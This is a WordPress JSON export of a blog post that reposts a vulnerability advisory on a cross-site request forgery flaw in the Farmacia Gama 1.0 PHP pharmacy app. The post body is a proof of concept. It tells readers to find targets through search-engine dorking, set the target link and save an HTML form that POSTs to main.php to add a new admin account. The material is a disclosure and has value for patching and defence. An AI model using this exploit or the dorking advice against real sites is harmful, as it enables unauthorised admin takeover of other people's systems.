{"id":58854,"date":"2024-08-13T19:59:54","date_gmt":"2024-08-13T16:59:54","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180074\/farmaciagama10-xsrf.txt"},"modified":"2024-08-13T19:59:54","modified_gmt":"2024-08-13T16:59:54","slug":"farmacia-gama-1-0-farmacia-gama-1-0-cross-site-request-forgery","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/farmacia-gama-1-0-farmacia-gama-1-0-cross-site-request-forgery\/","title":{"rendered":"Farmacia Gama 1.0 Farmacia Gama 1.0 Cross Site Request Forgery"},"content":{"rendered":"<p>=============================================================================================================================================<br \/>| # Title : Farmacia Gama v1.0 v1.0 CSRF Vulnerability |<br \/>| # Author : indoushka |<br \/>| # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 125.0.1 (64 bits) |<br \/>| # Vendor : https:\/\/download-media.code-projects.org\/2020\/04\/Farmacia_IN_PHP_CSS_JavaScript_AND_MYSQL__FREE_DOWNLOAD.zip |<br \/>=============================================================================================================================================<\/p>\n<p>poc :<\/p>\n[+] Dorking \u0130n Google Or Other Search Enggine.<\/p>\n[+] The following HTML code add new admin .<\/p>\n[+] Go to the line 10 Set the target site link Save changes and apply . <\/p>\n[+] infected file : \/main.php.<\/p>\n[+] save code as poc.html <\/p>\n[+] payload : <\/p>\n<p>&lt;!DOCTYPE html&gt;<br \/>&lt;html lang=&#8221;en&#8221;&gt;<br \/>&lt;head&gt;<br \/>&lt;meta charset=&#8221;UTF-8&#8243;&gt;<br \/>&lt;meta name=&#8221;viewport&#8221; content=&#8221;width=device-width, initial-scale=1.0&#8243;&gt;<br \/>&lt;title&gt;Farmacia Form&lt;\/title&gt;<br \/>&lt;\/head&gt;<br \/>&lt;body&gt;<br \/>&lt;h2&gt;Farmacia User Form&lt;\/h2&gt;<br \/>&lt;form action=&#8221;http:\/\/127.0.0.1\/farmacia-master\/main.php&#8221; method=&#8221;POST&#8221;&gt;<br \/>&lt;label for=&#8221;nome&#8221;&gt;Nome:&lt;\/label&gt;<br \/>&lt;input type=&#8221;text&#8221; id=&#8221;nome&#8221; name=&#8221;nome&#8221; required&gt;&lt;br&gt;&lt;br&gt;<\/p>\n<p>&lt;label for=&#8221;cargo&#8221;&gt;Cargo:&lt;\/label&gt;<br \/>&lt;input type=&#8221;text&#8221; id=&#8221;cargo&#8221; name=&#8221;cargo&#8221; required&gt;&lt;br&gt;&lt;br&gt;<\/p>\n<p>&lt;label for=&#8221;usuario&#8221;&gt;Usu\u00e1rio:&lt;\/label&gt;<br \/>&lt;input type=&#8221;text&#8221; id=&#8221;usuario&#8221; name=&#8221;usuario&#8221; required&gt;&lt;br&gt;&lt;br&gt;<\/p>\n<p>&lt;label for=&#8221;senha&#8221;&gt;Senha:&lt;\/label&gt;<br \/>&lt;input type=&#8221;password&#8221; id=&#8221;senha&#8221; name=&#8221;senha&#8221; required&gt;&lt;br&gt;&lt;br&gt;<\/p>\n<p>&lt;button type=&#8221;submit&#8221; name=&#8221;acao&#8221;&gt;Submit&lt;\/button&gt;<br \/>&lt;\/form&gt;<br \/>&lt;\/body&gt;<br \/>&lt;\/html&gt;<\/p>\n<p>Greetings to :============================================================<br \/>jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |<br \/>==========================================================================<\/p>\n","protected":false},"excerpt":{"rendered":"<p>=============================================================================================================================================| # Title : Farmacia Gama v1.0 v1.0 CSRF Vulnerability || # Author : indoushka || # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 125.0.1 (64 bits) || # Vendor : https:\/\/download-media.code-projects.org\/2020\/04\/Farmacia_IN_PHP_CSS_JavaScript_AND_MYSQL__FREE_DOWNLOAD.zip |============================================================================================================================================= poc : [+] Dorking \u0130n Google Or Other Search Enggine. [+] The following HTML code add new admin &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58854","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58854","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58854"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58854\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58854"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58854"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58854"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}